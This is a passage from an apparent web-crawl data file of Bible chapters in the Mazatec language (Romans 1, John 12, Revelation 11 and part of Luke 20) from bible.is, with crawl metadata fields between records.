kìi̱, ya̱ inìma̱‑la̱, ngi ta kií kitsejín nga'tsì kjoa̱'cho ra mì kixi̱ tjín, koni ra kjoa̱chijngi; 'cho kjo̱bítsjen tjín‑la̱; ta kií mejèn ijye‑la̱ mé ra tjín‑la̱ xákjién; ta kjoa̱toón 'sín, kjoa̱xìtakòn, kjoa̱ ra ma‑la̱ sí'ken xi̱ta̱, kjoa̱ nga kjaán‑ko̱ xákjín, kjoa̱ chìndo̱cha̱, kjoa̱ ra xá 'cho 'sín‑ni, ko̱ kjoa̱ ndiso. 30Chja̱jno‑la̱ xi̱ta̱ xákjín; síjtike Nainá; bachrjengi xi̱ta̱ xákjín; 'nga ikon; ndaá síkítsa̱jna ijo‑la̱; tà jñá i̱nchisíkítsjen kó'sín isa̱ 'choó 'si̱in‑isa; mì kì ma‑la̱ síhitjasòn‑la̱ xi̱ta̱ jchínga‑la̱; 31mì kì machi̱ya‑la̱; mì kì síhitjasòn 'én ra chja̱; mì kì ma‑la̱ betjò xi̱ta̱ xákjín; tsìn‑la̱ kjoa̱nìhijcha'ta a̱'ta 'tse̱ xi̱ta̱ xákjín; ti̱'koa̱á tsìn‑la̱ kjo̱hi̱ma̱takòn. 32Jñà xi̱ta̱ kìi̱, ni̱'sín ijye nda tjíjin‑la̱ nga ijyeé ko̱'sín kitsjà kjo̱hixi̱ Nainá nga nga'tsì ra ko̱'sín tjín kjoa̱ ra 'sín, bakèn‑la̱ nga ki̱yá; tanga mì tsa ta ya̱ majngo ikon nga ko̱'sín 'sín, skanda ti̱'koa̱á matsjaá‑la̱ 'kia̱ nga 'koa̱ ti̱'sín 'sín jñà xi̱ta̱ ra kj'ií.\nRomanos 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/1","date":"2013-12-09T15:24:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163985723\/warc\/CC-MAIN-20131204133305-00009-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1106,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nguì joòn na̱chrjein chija ìsa̱‑la̱ nga ki̱tjo s'eí Paxko̱. Jesús kiì ján na̱xa̱ndá Betania ñánda tíjna Lázaro xi jè Jesús kisìkjaáya‑la̱ k'e̱ nga k'en. 2Ya̱á kisindaà‑la̱ tsojmì Jesús xi tsakjèn nga kòjñò. Jè Marta tsibíya tsojmì xi kiskine. Ngats'iì xi̱ta̱ xi ya̱ títsa̱jnat'aà ími̱xa̱, ti̱koa̱ ya̱ tíjna Lázaro ko̱ Jesús. 3María j'iìko̱ osen litro xkiì jne̱ xi 'ñó chjí xi nguì ts'e̱ nardo. Kisìkaàjno ndso̱ko̱ Jesús, i̱kjoàn kisìxìjno‑ne tsja̱sko̱. Kóho̱kji i'nga ni'ya, ndaà jchán kiìjne̱. 4Jngoò xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, jè ti‑la̱ Simón xi 'mì Judas Iscariote, jè xi si̱ìnga̱tsja Jesús jñà xi̱ta̱ kondra̱‑la̱, kitsò: 5―¿Mé‑ne mìtsà kàsatíjna‑ne xkiì jne̱ jè? Tsà kàsatíjna‑ne koni tjín síkijne chjí‑la̱ jngoò xi̱ta̱ xi jàn sìndo̱ na̱chrjein síxá, mé‑ne jè to̱n‑la̱ ko'bì‑la̱ jñà xi̱ta̱ i̱ma̱. 6Judas mìtsà koi kjoa̱‑la̱ o̱kitsò‑ne nga makájno‑la̱ xi̱ta̱ i̱ma̱, koií‑né nga xi̱ta̱ chijé‑né. Jè nga̱tsja chijtsa xi sinchá to̱n; ma síchijé to̱n xi sinchá chijtsa. 7Jesús kitsò‑la̱: ―Kì k'oa̱ 'mì‑la̱ jè chjo̱ón. Xkiì jne̱ jè tíjnatjò‑la̱ k'e̱ nga 'a̱n xi siìjñaà. 8Jñò, kjit'aà na̱chrjein kítsa̱jnako̱‑nò jñà xi̱ta̱ i̱ma̱, ta̱nga 'a̱n mìtsà tà kjit'aà na̱chrjein i̱ kóti̱jnako̱‑nò. 9'Ñó kjìn xi̱ta̱ judío kisijiìn‑la̱ nga ya̱ tíjna Jesús ya̱ na̱xa̱ndá Betania; k'e̱é kiìtji̱ngui‑la̱. Ta̱nga mìtsà tà koií kjoa̱‑la̱ Jesús kiì‑ne; jè kiì katsejèn‑la̱ Lázaro xi jè Jesús kisìkjaáya‑la̱ k'e̱ nga k'en. 10Jñà xi̱ta̱ sko̱‑la̱ no̱'miì tsajoóya‑ne nga ti̱koa̱ mejèn‑la̱ si̱ìk'en jè Lázaro, 11koií kjoa̱‑la̱ nga jè nga̱tjì‑la̱ Lázaro, kjìn jchán xi̱ta̱ judío chinchat'aàxìn nga jye mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 12Nga komà nchijòn, kjìn jchán xi̱ta̱ ijchò s'eí Paxko̱ ján Jerusalén; kisijiìn‑la̱ nga ti̱koa̱ ya̱ ki̱jchò Jesús; 13tsate xka̱jén, itjo kiskoòñà‑la̱ i̱ya ndi̱yá; 'ñó kiìchja̱, kitsò: ―¡Jeya kàtìjna Nainá! ¡Mé tà ndaà‑la̱ jè xi̱ta̱ xi nchrobá nga̱jo̱‑la̱ Nainá, xi xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ na̱xa̱ndá Israel! 14Jesús kisakò jngoò‑la̱ ndí búrró ki'ndí xi tsibìjnasòn‑la̱ koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá, nga tsò: 15Kì tsakjoòn‑jèn, ji̱ na̱xa̱ndá Sión, chìtsejèn‑la̱ xi̱ta̱xá ítjòn‑lè xi nchrobá, tíjnasòn jngoò‑la̱ ndí búrró ki'ndí. 16K'e̱ nga sa̱ ítjòn, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús mìkiì kjòchi̱ya‑la̱ kó tsòya‑ne 'én koi. Ta̱nga k'e̱ nga k'en Jesús, i̱kjoàn jaáya‑la̱ nga kiìmijìn ján ngajmiì, skanda k'e̱é kjòchi̱ya‑la̱ nga k'oa̱á s'ín komàt'in koni s'ín tíchja̱ xo̱jo̱n xi i̱t'aà ts'e̱. 17Jñà xi̱ta̱ xi kijtseè k'e̱ nga jè Jesús kisìkjaáya‑la̱ jè Lázaro nga jye kijnak'en, ìsa̱á ndaà kisìka'bísòn 'én, tsibéno̱jmí yije‑la̱ xi̱ta̱ xi kj'ei̱í. 18Koií kjoa̱‑la̱ 'ñó kjìn xi̱ta̱ kiìkjaá indiaà Jesús nga jye kiì'nchré jñà kjo̱xkón xi kis'iìn. 19Jñà xi̱ta̱ fariseo kitsò‑la̱ xíkjín: ―Chítsején‑là; jñá, ni̱mé xi s'e̱én nga ngats'iì xi̱ta̱ i̱sò'nde sa̱ jè fìtji̱ngui‑la̱. 20Jñà xi̱ta̱ xi ijchò s'eí ján Jerusalén nga ya̱ beèxkón Nainá, ya̱á títsa̱jnajiìn i'nga xi̱ta̱ griego. 21Xi̱ta̱ koi ijchòkon Felipe xi Betsaida i̱'nde‑la̱, nangui xi chja̱‑ne Galilea; tsibítsi'ba‑la̱ kitsò‑la̱: ―Na̱'èn, mejèn‑naje̱n jcha̱xkon‑je̱n Jesús. 22Felipe kiì kéno̱jmí‑la̱ Andrés; k'e̱é kiì Andrés ko̱ Felipe tsibéno̱jmí‑la̱ Jesús. 23Jesús kiìchja̱ kitsò‑la̱: ―Jyeé ijchò na̱chrjein‑la̱ nga jè Ki'ndí‑la̱ Xi̱ta̱ kji̱mijìn ìjngoò k'a‑ne ngajmiì mé‑ne nga jeya kíjna‑ne. 24Nguì o̱kixi̱í xi xan‑nò, jè no̱jmé tsà mìkiì tjóki̱yá k'e̱ nga sitje̱, tà jngoò kjit'aá ko̱ma. Ta̱nga tsà tjóki̱yá k'e̱ nga si̱hijiìn, ko̱kjìn‑ya‑né. 25Jè xi̱ta̱ xi tjòkeè yijo‑la̱ nga mì mé kjo̱'in sa̱kò‑la̱, tà sa̱á si̱ìchija‑né ko̱ kjo̱'in kíjnajiìn; ta̱nga jè xi̱ta̱ xi mìkiì tjòkeè yijo‑la̱ i̱ i̱sò'nde, ndaà tíjnatjò‑la̱ kjoa̱binachon‑la̱ skanda ta mé na̱chrjein‑ne. 26Tsà yá xi mejèn‑la̱ nga 'a̱n si̱ìxáko̱‑na kàtjanchrobá tji̱ngui‑na; ya̱ ñánda nga 'a̱n kóti̱jna, ti̱koa̱ jè, ya̱á kíjnat'aà‑na. Tsà yá xi 'a̱n si̱ìxáko̱‑na jè Na̱'èn‑na̱ ndaà skoe̱xkón. 27'I̱'ndei̱ 'ñó jchán ba ma‑la̱ ini̱ma̱‑na̱. ¿Mé 'én xi kichjà? ¿A k'oa̱á xan‑lè: \"Na̱'èn, ti̱nachrjekàjiìn‑ná kjo̱'in xi ko̱mat'ian jè hora jè\"? Majìn, nga koií xá j'i̱‑na nga ki̱tasòn. 28Na̱'èn, jeya tijni. Ti̱k'e̱‑ne kina'yà jngoò‑la̱ 'én xi ngajmiì nchrobá‑ne, kitsò: ―Jyeé kòkjìn k'a jeya síkíjna yijo‑na̱ ko̱ ìjngoò k'a jeya siìkíjna yijo‑na̱. 29Jñà xi̱ta̱ xi ya̱ títsa̱jna, k'e̱ nga kiì'nchré, tjín xi kitsò: ch'o̱ón xi jane. Jñà xi̱ta̱ xi i'nga, kitsò: ―Àkja̱le̱‑la̱ Nainá xi kiìchja̱‑la̱. 30Kiìchja̱ Jesús kitsò: ―'Én xi kàna'yà‑là mìtsà kjo̱ndaà ts'a̱n, kjo̱ndaà tsa̱jòn‑nò. 31Jè hora jè, nga sindaàjiìn‑la̱ i̱sò'nde; i̱'ndei̱, jyeé ijchò hora nga jè xi̱ta̱ nei̱í xi tíhotíxoma‑la̱ i̱sò'nde, jyeé ki̱tjojiìn. 32K'e̱ nga 'a̱n, tjámiìtje̱n i̱t'aà nangui, ngats'iì xi̱ta̱, 'a̱án kichjà‑la̱ nga kji̱nchrobàt'aà‑na̱. 33Koií o̱kitsò‑ne, jè tsibéno̱jmíya kós'ín ko̱mat'in k'e̱ nga ki̱yá. 34Jñà xi̱ta̱ kiìchja̱ kitsò‑la̱: ―'Ya‑náje̱n nga jè kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, k'oa̱á s'ín tíchja̱, tsò‑né: Jè Cristo, kíjnakon‑ne ni̱ta̱ kjé‑ne. Ngaji̱, ¿mé‑ne ko̱si‑ne nga mochjeén‑né nga jè Ki'ndí‑la̱ Xi̱ta̱ tjámiìtje̱n‑t'aà nangui? ¿Yá‑ne xi Ki'ndí‑la̱ Xi̱ta̱ 'mì‑la̱? 35Jesús kitsò‑la̱: ―Tákó kíjnajiìn chiba na̱chrjein‑nò ni'ín xi síhiseèn‑nò. Ti̱tjájmeè nga tíjnajiìn‑nò xi síhiseèn‑nò, mé‑ne nga mì ko̱jñò‑nò. Jè xi i̱jiìn jñò tsó'ba mìkiì beè kós'ín fì. 36Kàtakjeiín‑nò i̱t'aà ts'e̱ ni'ín xi síhiseèn k'e̱ nga tákó tíjnajiìn‑nò, mé‑ne nga ya̱ ki̱tjá ñánda iseèn choòn. K'e̱ nga jye o̱kitsò Jesús, kiì tsibìjna'ma‑la̱ jñà xi̱ta̱. 37Jesús, na̱s'ín tákó 'ñó kjìn kjo̱xkón ndaà kis'iìn nga nguixko̱n xi̱ta̱, jñà xi̱ta̱ mìkiì kòkjeiín‑la̱. 38Koií tsitasòn 'én xi kiskiì Isaías, xi̱ta̱ xi kiìchja̱ya̱ nga̱jo̱‑la̱ Nainá, nga kitsò: Na̱'èn, ¿yá‑né xi tímokjeiín‑la̱ 'én‑ná xi kinokjoàyaá? ¿Yá xi tìhokoò‑la̱ nga'ñó xi tjín‑lè? 39Koií kjoa̱‑la̱ nga mìkiì kòkjeiín‑la̱, nga k'oa̱á s'ín tíchja̱ ìjngoò k'a xo̱jo̱n‑la̱ Isaías ñánda tsò: 40Nainá tsibíchjoà xko̱n, kisìtájaàjiìn ini̱ma̱‑la̱, mé‑ne nga mìkiì ko̱tsejèn‑la̱, mìkiì ko̱chi̱ya‑la̱ i̱jiìn ini̱ma̱‑la̱ nga ti̱koa̱ mì 'a̱n kji̱nchrobàt'aà‑na̱ nga 'a̱n sìndaà‑na̱. 41Isaías, koií k'oa̱s'ín kiìchja̱‑ne nga jyeé kijtseè jè kjoa̱ jeya‑la̱ Jesús nga i̱t'aà ts'e̱é kiìchja̱. 42Na̱s'ín koa̱tsò 'én koi, kjìn xi̱ta̱ judío kòkjeiín‑la̱ i̱t'aà ts'e̱ Jesús, skanda kòkjeiín i'nga‑la̱ xi xi̱ta̱ sko̱‑la̱. Ta̱nga mìtsà jngoò k'a tsakó yijo‑la̱ nga jye kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo; nga jñà tsakjón‑la̱ jñà xi̱ta̱ fariseo, tsà ya̱ ko̱chrjekàjiìn ni'ya i̱ngo̱ sinagoga. 43Jè xi mejèn‑la̱ nga ìsa̱ ndaà kítsa̱jna nga nguixko̱n xi̱ta̱ mì k'oa̱‑ne koni nga nguixko̱n Nainá. 44Jesús 'ñó kiìchja̱ kitsò: ―Jè xi mokjeiín‑la̱ i̱t'aà ts'a̱n, mìtsà tà i̱t'aà ts'a̱n mokjeiín‑la̱, ti̱koa̱á mokjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑na̱ xi jè kisìkasén‑na̱. 45Jè xi beèxkon‑na, ti̱koa̱á beèxkon‑né jè xi kisìkasén‑na. 46'A̱n xi síhiseèn‑la̱ xi̱ta̱, koií xá j'i̱‑na i̱ i̱sò'nde, nga ngats'iì xi̱ta̱ xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n, mì ya̱ kítsa̱jnajiìn i̱jiìn jñò. 47Jè xi 'nchré 'én‑na̱ ko̱ mìkiì síkitasòn, mìtsà 'a̱n tsjaà‑la̱ kjo̱'in nga mìtsà koi xá j'i̱‑na nga kjo̱'in tsjaà‑la̱ xi̱ta̱ i̱sò'nde, koií xá j'i̱‑na nga ko̱chrjekàjñaà kjo̱'in xi̱ta̱ i̱sò'nde. 48Jè xi ochrjekàngui‑na̱ nga mìkiì kjoétjò 'én‑na̱, tjín xi tsjá‑la̱ kjo̱'in. Jè 'én xi jye 'a̱n kichjà, jè tsjá‑la̱ kjo̱'in k'e̱ nga kjoe̱het'aà na̱chrjein. 49K'e̱ nga chjà, mìtsà tà kjo̱hítsjeèn ts'a̱n sìkjeén, jè Na̱'èn‑na̱ xi kisìkasén‑na kitsjaà‑na o̱kixi̱ kós'ín chjà koa̱ mé 'én xi kokoòya. 50Be‑ná jè kjo̱tíxoma‑la̱ Na̱'èn‑na̱, jè xi tjín‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. Jñà 'én xi 'a̱n chjà, k'oa̱á s'ín chjà koni s'ín tsatíxoma‑na Na̱'èn‑na̱.\nSan Juan 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/12","date":"2013-12-08T14:07:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065834\/warc\/CC-MAIN-20131204131745-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":1063,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱á ki'tsì jngo‑na yá ra ma machi̱ba̱‑ni ra koni 'ki ndi̱jyi 'ki, ko̱ ki'mì‑na: ―Ti̱sítji̱in ko̱ ti̱chi̱bi̱i jè i̱ngo̱ ítjòn‑la̱ Nainá ko̱ jè ímixa̱ tsje‑la̱ ko̱ tìxki̱yi kótjín ma‑ni jñà ra ya̱ bexkón Nainá. 2Tanga kì tà chjàn nìchi̱bi̱i jè ndi̱tsin‑la̱ i̱ngo̱. Jè i̱'nde ra̱kìi̱, jñá itjábé‑la̱ jñà ra taxki̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío. Ko̱ jñà xi̱ta̱ kìi̱, ichán‑jò sá ko̱tèxomasòn jè na̱xi̱ndá Jerusalén ra i̱'nde tsje‑la̱ Nainá. 3Ko̱ sikásén‑náa̱ jñà xi̱ta̱‑na̱ ra jò ma‑ni ra tsjá 'én ra a̱'ta tsa̱'a̱n nga jngo jmi ko̱ jò sindo̱ ko̱ jàn‑kan ni̱chjin ki̱chja̱ya; ko̱ jñà nikje ra kjóya, nikje naxá kjòn [mé‑ni ko̱kòn chi̱ya‑ni jè kjo̱ba ra 'se̱]. 4Jñà ngajò xi̱ta̱ ra tsjá 'én, jñá‑ní ngajò yá olivo ko̱ ngajò ki̱cha̱ candelero ra i̱ncha kixi̱ ya̱ ngixko̱n Nainá ra batéxoma‑la̱ i̱sà'nde. 5Tsa yá ra mejèn‑la̱ nga si̱ìki'on jñà xi̱ta̱ kìi̱, ni'í bachrje tsa'ba ra jngó‑kjá india kjón baká jñà xi̱ta̱ kondra̱‑la̱, ko̱ 'koa̱á 'sín ki̱yá ni̱'sín ta yá ra mejèn‑la̱ si̱ìki'on. 6Jñà xi̱ta̱ kìi̱, tjín‑la̱ nga'ñó nga ma ki̱ìchjà‑la̱ jè ngajmi mé‑ni nga mì ti̱ kì 'koa̱‑ni jtsí jñà ni̱chjin 'kia̱ nga ki̱chja̱ya; ti̱'koa̱á tjín‑la̱ nga'ñó a̱'ta 'tse̱ nandá nga ma‑la̱ jní 'si̱in; ko̱ tjín‑la̱ nga'ñó nga kjìn sko̱ya kjo̱hi'in tsjá‑la̱ jñà xi̱ta̱ i̱sà'nde; ko̱maá‑la̱ ko̱'sín 'si̱in ni̱'sín ta kótjín 'ka̱ mejèn‑la̱. 7Ko̱ jñà xi̱ta̱ kìi̱, 'kia̱ nga ijye tsjá 'én‑la̱, jè cho̱ ra 'ñó 'cho 'kioo̱ ra ya̱ tíbitjomijìn‑ni ya̱ nga̱jo̱ na̱tja̱n, ska̱jànko̱‑ní ko̱ si̱ìkijne‑la̱, ko̱ ki̱yá ngajò xi̱ta̱ kìi̱. 8Jñà ijo‑la̱ xi̱ta̱ kìi̱, ya̱á si̱hijyo masen ya̱ ndi̱tsi̱n‑la̱ jè na̱xi̱ndá‑tjòn ya̱ ñánda̱ nga kisi'ta krò jè Na̱'ín‑ná; jè 'í‑la̱ na̱xi̱ndá‑tjòn ra̱kìi̱, 'koa̱á 'sín ngoya‑la̱ koni tsa jè Sodoma ko̱ jè Egipto. 9Ko̱ jñà xi̱ta̱‑la̱ na̱xi̱ndá ra tjín i̱sà'nde, ko̱ nga'tsì tje̱‑la̱ xi̱ta̱ ra tjín, ko̱ xi̱ta̱ ra chja̱ nga'tsì 'én ra tjín, ko̱ xi̱ta̱ ra ya̱ i̱'nde‑la̱ nga'tsì nangi ra tjín i̱sà'nde, jàn ni̱chjin masen ta sko̱òtsíjen‑jnó jñà ijo‑la̱ mi'ken; ko̱ mì kì tsjá'nde nga si̱i'nde. 10Jñà xi̱ta̱ ra tjín ya̱ i̱sà'nde, 'ñó je 'sí ki̱ìjna, nga̱ ijyeé 'ken jñà xi̱ta̱ kìi̱; skanda si̱ìkasén kañá‑la̱ tsajmì jñà xákjén; kií ko̱'sín 'si̱n‑ni nga̱ tse kjo̱hi'in isìkjiín jñà xi̱ta̱ i̱sà'nde a̱'ta 'tse̱ xi̱ta̱ kìi̱ ra kiìchja̱ ngajo‑la̱ Nainá. 11'Kia̱ nga ijye tsato ra jàn ni̱chjin masen, jè Nainá isíkítsa̱jnakon india‑ni inìma̱‑la̱ nga jaáya‑ila̱, a̱kjòn tsincha kixi̱ india‑ni; nga'tsì xi̱ta̱ ra kijtse 'ñó kitsakjòn. 12Ngajò jñà xi̱ta̱ kìi̱, kií'nchré jngo‑la̱ jta̱ ra 'ñó kiìchja̱ ra ya̱ ngajmi inchrabà‑ni ra kitsò‑la̱: ―Nchrabámijiòn ya̱ i̱jndíi̱. A̱kjòn kijìmijìn ya̱ a̱jin ifi ya̱ ján ngajmi, ko̱ kijtse‑ní nga'tsì jñà ra xi̱ta̱ kondra̱‑la̱ ma. 13Ti̱'kia̱á‑ni 'ji jngo chón ra 'ñó jchán 'tsa; jè ra te‑ya ma‑ni kóho'ki na̱xi̱ndá, jngo‑yá ixojen; ko̱ ito jmi xi̱ta̱ 'ken ra ta jè kjoa̱ 'tse̱ chón; ko̱ jñà xi̱ta̱ ra tsangì‑ni, taxki̱ 'ñó itsakjòn, a̱kjòn kiìchja̱'ta‑la̱ Nainá ra tíjna ngajmi nga jeya isíkíjna. 14Ijyeé tsato jè kjo̱hi'in ra ma‑ni jò, jè ra bato 'ñó ton kjomà'tin jñà xi̱ta̱; tanga ijyeé nchrabá ndi̱to̱n jè ra ma‑ni jàn. 15Jè ìkja̱li̱ ra ma‑ni ito isikji'ndá jè chrjoo̱‑la̱ ko̱ kjín jchán jta̱ ina'yá‑la̱ ya̱ ngajmi ra 'ñó kiìchja̱ nga kitsò: Jñà kjo̱téxoma ra tjín ya̱ i̱sà'nde ijyeé 'tse̱é jè Na̱'ín‑ná ra batéxoma‑ná ko̱ jè Cristo ra jè isìkasén; ko̱ jè ko̱tèxoma skanda ta mé ni̱chjin‑nioo̱. 16Jñà xi̱ta̱ jchínga ra kahíjòn ma‑ni ra ya̱ títsa̱nè íxile̱ ya̱ ngixko̱n Nainá, tsikitsa̱jna-niña‑ní nga tsinchaxkó'nchi nga kijtsexkón Nainá, 17kitsò: 'Koa̱á 'sín 'mì‑laji̱n Na̱'ìn ra Nainá 'mì‑li nga tse kjo̱nda kata'se‑li, nga ta ji̱ ta̱ jngo‑ní ra bato tse nga'ñó tjín‑li; ji̱ ra tijni skanda 'ndi̱ 'ndi̱ ko̱ ra tijna‑ni skanda kjo'tsia̱, [ko̱ ji̱ ra 'sa̱ kjí'i̱ india‑ni]; nga̱ ijyeé kachjíbí jè nga'ñó ra tjín‑li; ko̱ ijyeé kabi'tsi̱i nga ji̱ ko̱te̱xomi. 18Nga'tsì jñà ra taxki̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío, ijyeé kjojti‑la̱; tanga ijyeé ijchó ni̱chjin‑la̱ nga 'jíi̱ki̱i jè kjo̱jti‑li nga 'ki̱i kjo̱hi'in, ko̱ jè ni̱chjin nga kíndajín‑la̱ jñà xi̱ta̱ ra ijye 'ken, ko̱ jè ni̱chjin nga 'ki̱‑la̱ jè kjo̱tjò ra bakèn‑la̱ jñà xi̱ta̱ chi̱'nda‑li ra kiìchja̱ ngajo‑li ko̱ jñà ra xi̱ta̱‑la̱ Nainá ko̱ nga'tsì jñà ra bexkón‑li, nga'tsì ra i̱tsíñá kjòn ko̱ nga'tsì jñà ra jchínga kjòn; ko̱ jè ni̱chjin nga si̱kjehesìn jñà xi̱ta̱ ra ma‑la̱ síkjehesòn xi̱ta̱ i̱sà'nde. 19Ko̱ itjá'xa̱á jè i̱'nde tsje‑la̱ Nainá ra tíjna ya̱ ján ngajmi; ya̱ a̱ya i̱'nde tsje‑la̱ tsatsíjen‑ni jè kàxa̱ ra tsikíndajín‑ni kjoa̱ jè Nainá ko̱ jñà xi̱ta̱; a̱kjòn 'ñó jate ni'í 'cho̱n, ko̱ kjín jta̱ ina'yá‑la̱, ko̱ 'ñó kitsin 'cho̱n, ko̱ 'tsa chón ti̱'koa̱á 'tsa jtsí na̱jo̱ ra 'ñó tsiña kjòn.\nApocalipsis 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/11","date":"2013-12-07T10:23:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053923\/warc\/CC-MAIN-20131204131733-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":732,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngo ni̱chjin, 'kia̱ nga tíbakón‑ya‑la̱ xi̱ta̱ Jesús 'én xi̱tse̱ ra nda tsò ya̱ ndi̱tsin i̱ngo̱ ítjòn, ijchó jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés; kjihijtako̱ xi̱ta̱ jchínga 'tse̱ xi̱ta̱ Judío. 2Kitsò‑la̱: ―Ko̱'tín‑náji̱n, ¿mé kjo̱téxoma ra tsjá'nde‑li koni 'sín nga 'nì? ¿Yá ra kitsjà‑li kjo̱téxoma kìi̱? 3Kiìchja̱ Jesús, kitsò: ―Ti̱'koa̱á 'a̱n, jngo 'én skonangi‑no. Ko̱'tín‑ná: 4¿Yá ra kitsjà‑la̱ kjo̱téxoma Juan nga tsatíndá xi̱ta̱? ¿A jé Nainá ra tíjna ngajmi o̱ ra tà xi̱ta̱‑ní? 'Koa̱á tixó jiòn‑ni̱. 5'Kia̱á tsajo̱óya‑ni; kitsò‑la̱ xákjén: ―Tsa kixé: \"Jè Nainá ra tíjna ngajmi\", kií‑la 'sín ki̱tso̱‑ná: \"¿Mé‑ni nga mì kjokjiín‑najiòn?\" 6Ko̱ tsa kixé: \"Xi̱ta̱á kitsjà‑la̱ kjo̱téxoma\", na̱jo̱ó‑la ki̱ìné‑ná xi̱ta̱ na̱xi̱ndá nga 'koa̱á 'sín makjiín‑la̱ nga jè Juan, Nainá kiìchja̱ ngajo‑la̱. 7'Kia̱á kitsò: ―Mì kì 'ya‑ji̱n yá ra kitsjà‑la̱ kjo̱téxoma Juan. 8Kiìchja̱ Jesús, kitsò‑la̱: ―Ti̱'koa̱á 'a̱n, mì kì ko̱xín‑no yá ra kitsjà‑na kjo̱téxoma koni 'sín nga 'siaa̱n. 9A̱kjòn tsikí'tsia̱ Jesús nga kiìchja̱‑la̱ xi̱ta̱ na̱xi̱ndá; tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra ma mangásòn‑kjo, kitsò‑la̱: ―Jngo xi̱ta̱ ra tsikítje̱jin to uva ya̱ nangi‑la̱. A̱kjòn isikiña‑la̱ xi̱ta̱ ra kj'ií mé‑ni nga si̱íxáko̱‑ni. Ko̱ a̱kjòn kjín nó kijì. 10'Kia̱ nga ijchò ni̱chjin nga ijye kjójchá jñà uva, jè ni‑la̱, isìkasén jngo chi̱'nda nga ska̱ábé chiba kó'ki bako̱‑la̱ ra jè. Tanga jñà xi̱ta̱ ra isíxájin nangi, tà iskajàn‑ko̱‑ní; tà isìkasén tiyaá‑ni. 11Ra kjomà a̱skan, jè ni‑la̱ nangi, ìjngo chi̱'nda isìkasén‑isa; 'koa̱á ti̱'sín isìko̱; iskajàn‑ko̱‑ní, 'ñó kijtseton, a̱kjòn isìkasén tiya‑ni. 12Ìjngo isìkasén ra ma‑ni jàn chi̱'nda‑la̱; tà ngásòn isìko̱; isiki'on, ko̱ tsachrjekàjin nangi‑la̱. 13''Kia̱á kitsò jè ni‑la̱ nangi: \"¿Mé ra 'siaa̱n? Jé‑la sikásén i'ndí‑na̱ ra 'ñó tsjake̱; jé‑la ra ske̱xkón.\" 14Tanga jñà xi̱ta̱ chi̱'nda kìi̱, 'kia̱ nga kijtse, kitsò‑la̱ xákjén: \"Jé‑la ra̱kìi̱ ra 'tse̱ ki̱tso̱‑la̱ nangi; si̱'keén mé‑ni nga tsa̱jién 'kín ijye‑lá nangi.\" 15Tsachrjejin ya̱ ñánda̱ tjín to uva; a̱kjòn isì'ken. '¿Kó bixó jiòn, mé ra si̱ìko̱ xi̱ta̱ kìi̱ jè ni‑la̱ to uva? 16'Kia̱ nga kj'i̱í‑ni, si̱ì'ken‑la nga'tsì xi̱ta̱ 'tse̱n kìi̱; a̱kjòn kj'ií xi̱ta̱ si̱ìnga̱tsja nangi‑la̱ ñánda̱ tjín‑la̱ to uva ―kitsò Jesús. Kitsó xi̱ta̱ ra i̱nchi'nchré: ―¡Ni̱kjiá ni̱chjin ko̱'sín katama! 17Isko'án Jesús, kitsò‑la̱: ―Tsa majìn, ¿kó bixó jiòn? ¿Kó'sín tsò‑ni koni 'sín tíchja̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá nga tsò?: Jè na̱jo̱ ra tsachrjengi jñà xi̱ta̱ ra bínda chrjó, jé tíma‑ni na̱jo̱ nga'ñó ra síjna ítjòn ya̱ nga chrja̱ngi̱‑la̱ ni'ya. 18Nga'tsì xi̱ta̱ ra ya̱ ska̱tje̱n‑sòn jè na̱jo̱ ra̱kìi̱, ngi ko̱jòya‑ní; ko̱ tsa yá ra ya̱ ska̱tje̱n‑nè jè na̱jo̱ ra̱kìi̱, ngi ko̱chijo‑ní. 19Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, sí mején‑la̱ nga jtsa̱ba̱'ñó kjòn Jesús, nga̱ 